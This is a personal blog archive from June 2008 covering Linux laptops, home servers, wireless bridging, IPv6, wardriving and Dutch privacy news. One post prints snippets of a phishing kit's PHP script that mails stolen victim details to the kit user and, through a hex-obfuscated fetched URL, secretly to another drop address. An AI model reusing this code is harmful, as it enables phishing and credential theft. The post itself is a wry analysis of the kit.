News archive June 2008 - Koos van den Hout

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2008-06-30 (#)
I received a new laptop from work and started writing down the experiences just like with the previous one: The Dell Latitude D630 laptop and linux. So far nothing shocking: I chose Ubuntu as linux distro.

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2008-06-17 (#)
Jaaa! Ik heb een echt y2k probleem gewonnen:
winnaar met y2k probleem

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2008-06-16 (#)
I moved PostgreSQL on the home server gosper from an install I compiled myself ages ago to the debian-maintained package. As a side-effect the data moved from /scratch to /var which is on a different physical disk. Now the disk with /scratch and /boot has no reason to stay awake all the time and it spins down, saving another bit of power. Quite visible in the UPS stats. I guess splitting OS and lesser-used data disks in a home server can save a bit of power. The assorted sensors at home overview shows disk hda sleeping a lot more.
As a side effect the postgresql data is now also included in the backups. The database at home went from a few tables with copies of data from webprojects I was developing to data actually in use. Time for backups.

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2008-06-15 (#)
For the next meeting of the hcc pc!gg netwerkgroep I wanted wired Internet access. But the location where it will be is so advanced it only has wireless Internet access. Time for a fix.

First option was a Linksys WAP54G (borrowed from work). The page in the setup where it can be configured as a wireless client already mentioned that it doesn't want to connect to other brands of networks. Too big a risk that this will not work on location.

Second option was getting a wireless - wired bridge running in Linux. The server I use for experiments with the netwerkgroep has a pci to pcmcia interface and a prism2 based pcmcia wireless card. After a bit of finding sources and getting the hostap drivers working again I set up the bridge and built a test network. First the normal iwconfig commands failed to produce results until I found that the right order is to first ifconfig wlan0 up and then iwconfig wlan0 essid 2marken.

ifconfig wlan0 up
iwconfig wlan0 essid 2marken
As a simple wireless client it works. Now to make it a bridge:
ifconfig wlan0 0 up
ifconfig eth1 0 up
brctl addbr br0
brctl addif br0 eth1
brctl addif br0 wlan0
Disabling ip on wlan0 and eth1 to take them out of normal ip routing and traffic. The bridge was working, the bridging machine was able to see the wireless network and get an IP via DHCP on the bridge interface using dhclient br0. A client machine connected to the wired connection of the bridge did not get an IP. With lots of tcpdumps running it showed that the bridge did forward the DHCP request out of the wireless interface but it never showed up on the server. Later running of another tcpdump on the same wireless network also showed no packets passing.

The one reason I can think of this happening is spanning tree doing something weird. The main ethernet switch in our house does spanning tree. Configuring that switch to force itself to be the spanning tree root also did not fix things. Or maybe the prism card does not like transmitting ethernet frames with a different source address. The Linux bridging documentation suggests this can be a problem.

Eventually I gave up and just went the standard way of masquerading from eth1 to wlan0 and setting up the standard stuff (dhcp server, nameserver). That does mean double NAT (yuck) but at least it gives connectivity.

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2008-06-12 (#)
I split the pages for the mobile phones I had working with the Dell Latitude C640 laptop into separate pages. Using the phone does not depend on the specific laptop, when the transport works (bluetooth) all systems will look the same, they just need the right software and the phone needs to cooperate. So, new pages: Also a new laptop is on its way so I'll need to set up a new Linux on a laptop page soon.

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2008-06-12 (#)
Yesterday I upgraded the firmware of the Asus WL-300g accesspoint at home. The first effect was that the settings were completely hosed: I could not log in to the web interface and the wireless network had turned into an open network with SSID 'Broadcom' on a very busy channel. But after finding the manual on the asus web site and resetting the config I had access again to the web interface and I was able to enter my own configuration. So now I use WPA2. The interference problems are still there: putting the laptop on the (metal) garden table makes the wireless signal drop out.

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2008-06-09 (#)
Wardriving results for 30 May - 9 June: 2328 new networks with GPS locations according to WiGLE. Nothing really out of the way, one visit to Nieuwegein scored quite a number of new networks.

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2008-06-06 (#)
The laptop I use can also run Windows XP when it is really necessary (every time this happens most of the time is spent waiting on windows updates). So I enabled IPv6 on Windows XP. IPv6 works nicely. I disabled the 'privacy extensions' directly because I want traceable addresses in use, even with IPv6.

The one application that goes horribly wrong now is the webbrowser Opera. When the laptop is in a non-IPv6 enabled network (like at work) and I visit an IPv6-enabled website like with it, it fails horribly: it just shows a 'network error' page after a long timeout. Disabling automatic 6to4 makes the 'network error' page just appear faster. I reported this as an bug with Opera. Other browsers (Internet explorer, Firefox) don't show this error (but I need to test them with IPv6 to make sure they don't avoid it completely).

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2008-06-05 (#)
Nu al komt in onderzoek in Duitsland naar voren dat mensen toch hun gedrag aanpassen aan het feit dat gegevens over hun communicatie opgeslagen worden sinds begin 2008. Bewaarplicht heeft dus wel degelijk invloed, iedereen komt er achter dat hij of zij toch iets te verbergen heeft. Artikel Data Retention Effectively Changes the Behavior of Citizens in Germany (engels, maar ik schrijf over het recht op privacy uit de nederlandse grondwet het liefst in het nederlands). Interresant leesvoer.

En Zweden wil een eigen wet invoeren voor het afluisteren van alle communicatie, waardoor diverse bedrijven hun vestigingen in Zweden willen opheffen en hun niet-Zweedse klanten willen garanderen dat hun data nooit in Zweden kan komen. World+dog ignores Sweden's Draconian wiretap bill (The Register) (engels).

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2008-06-05 (#)
I can't get enough of IPv6. First, geekandpoke comes with a cartoon about the whole IP address shortage problem. And, in searching for information I found a blog Living with IPv6 about the real world of implementing IPv6 in a university network.

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2008-06-04 (#)
Sometimes spammers / scammers are so stupid it is amusing again. I just received several mails with the php-source for the result-collecting and mailing script for the phishing site. Interesting code snippets:
But, the scammer gets scammed too. Look at this code snippet:

Takes a bit of decoding, but it seems copies are sent to
The same spammer also mailed a different script with the same function. This script is clear on where to put the dropbox address:
        //This is your email
		$to = "" ; // Write your email
But in the next lines...
/* EnD Configuration */
$victimIP = pack("H*", "687474703a2f2f667265657363616d732e33782e726f2f656d61696c2e706870");
$DetailsIP = file_get_contents($victimIP, "r");
$DetailsIP = pack("H*", $DetailsIP);
$victimip unpacks to so the scammer of the scammer can 'maintain' this and change dropbox if needed. Currently that shows a page which I think says that the page does not exist. The result would be used in the code:
$arr=array($to, $DetailsIP);
foreach ($arr as $to){mail($to, $subj, $msg, $from);}
header("Location: done.html?cmd=_login-run");
You can't trust a good scammer these days, it seems...

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2008-06-04 (#)
Google recently published that they are now available via IPv6. Nice idea.. but for now only available via a separate name: They don't dare take the plunge yet of publishing an AAAA record for That would be really adopting IPv6 and finding those clients that can't deal properly with advertised IPv6 addresses without outside IPv6 connectivity.

I can understand that that change would have major implications. Indeed, clients being unable to reach it, Akamai needing to support it, load balancers to support it. But the announcement skips these important issues about really taking IPv6 into production and just says 'we do something with IPv6 now'. Yes, but you are not integrating it fully yet.

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2008-06-03 (#)
Staples to start selling self-destructing DVDs. Obvious remark: is Mission: Impossible available in this format?

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2008-06-02 (#)
I noticed that the entry for De Bilt, Netherlands at the site had recent weather data. I asked Philip Gladstone where he gets that data and searched around a bit myself. The answer is that this is synop (surface synoptic observations) data. The synop data format is ofcourse very different from the METAR format. Time to find good data sources, write another parser and see what this can do for Probably time to split the whole script that generates the weathermaps in several parts, fetching, parsing and caching data, drawing the resulting data on the map.

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2008-06-02 (#)
Vorige week nogal in het nieuws: Bijna 1700 taps per dag (SpitsNieuws), Nederland tapt meer af dan Verenigde Staten (techzine). Allemaal gebaseerd op een zo vaag mogelijk antwoord van het ministerie van justitie (pdf) waar de nieuwsschrijvers dus prompt eigen conclusies aan hangen. Bijvoorbeeld de conclusie dat het gaat om 'gesprekken per dag' is al overdreven volgens mij. De enige echte gegevens zijn:
In de tweede helft van 2007 is op 12491 telefoonnummers een bevel tot aftappen gegeven door het Openbaar Ministerie. Hiervan betrof het in 84% een tap op een mobiele telefoon en in 16% een tap op een vaste telefoon. In de betreffende periode liepen er dagelijks gemiddeld 1681 taps.
Een tap loopt vast meestal meerdere dagen. Wat er bijvoorbeeld niet in staat is de definitie van tap die hier gebruikt wordt: registratie nummers of ook audio registratie.

De enige dingen die duidelijk zijn: Justitie tapt heel erg veel af. Groenlinks had al recent hierover kamervragen gesteld: GroenLinks eist naleving notificatieplicht telefoontap. Dat worden dus een heleboel notificaties (een slordige 25000 per jaar).

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2008-06-01 (#)
I decided to do the long overdue upgrade from Debian oldstable to stable on the home machine turing. Unlike earlier debian sarge -> etch upgrades even the XFree86 to Xorg upgrade went completely flawless. So I tried some more upgrading and went from a Linux to a Linux kernel. With some rounds of kernel recompiling I got everything working again, including complete acpi support which I never got working with 2.4 kernels. Somewhere around 2.4.32 acpi support just gave lots of kernel events (while this motherboard was still running the home server gosper. Later 2.4 versions just told me the bios was too old for proper acpi support. It's an Asus P3B-F motherboard and google searches indicated that the overload of events is just a known bug. Upgrading the bios did not help and made another problem appear: a shutdown turned into a reboot so I downgraded it again to the version with working shutdown.

This was the first mainboard I bought (in 1999) with working acpi which I once used to scare Henk van de Kamer by just pressing the power button of the pc. Back then you carefully shut down the machine and acpid was brand new. So I'm happy acpi and everything is working again and this is a good reason to put more time into 2.6 kernels and try to get that working on all machines at home.

With 2.6 I ran into a few things I already saw on building it for the wardrivingbox such as the speaker driver being separated (it gets very quiet without it). New to me was that /etc/modules.conf generated by update-modules from modutils is not actually used with 2.6 kernels. The 2.6 version uses files in /etc/modprobe.d/. Copying settings for modules to that directory suddenly made drivers like bttv work again. I also had to give specific settings for the soundblaster card which was autodetected in 2.4. It is an ISA card, so back to good old io=0x220 irq=7 dma=1.

The remaining issue is that the network card does not stay on for wake on lan.

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IPv6 check

Running test...
, reachable as PGP encrypted e-mail preferred. PGP key 5BA9 368B E6F3 34E4 local copy PGP key 5BA9 368B E6F3 34E4 via keyservers

Meningen zijn die van mezelf, wat ik schrijf is beschermd door auteursrecht. Sommige publicaties bevatten een expliciete vermelding dat ze ongevraagd gedeeld mogen worden.
My opinions are my own, what I write is protected by copyrights. Some publications contain an explicit license statement which allows sharing without asking permission.
Other webprojects: Camp Wireless, wireless Internet access at campsites, The Virtual Bookcase, book reviews
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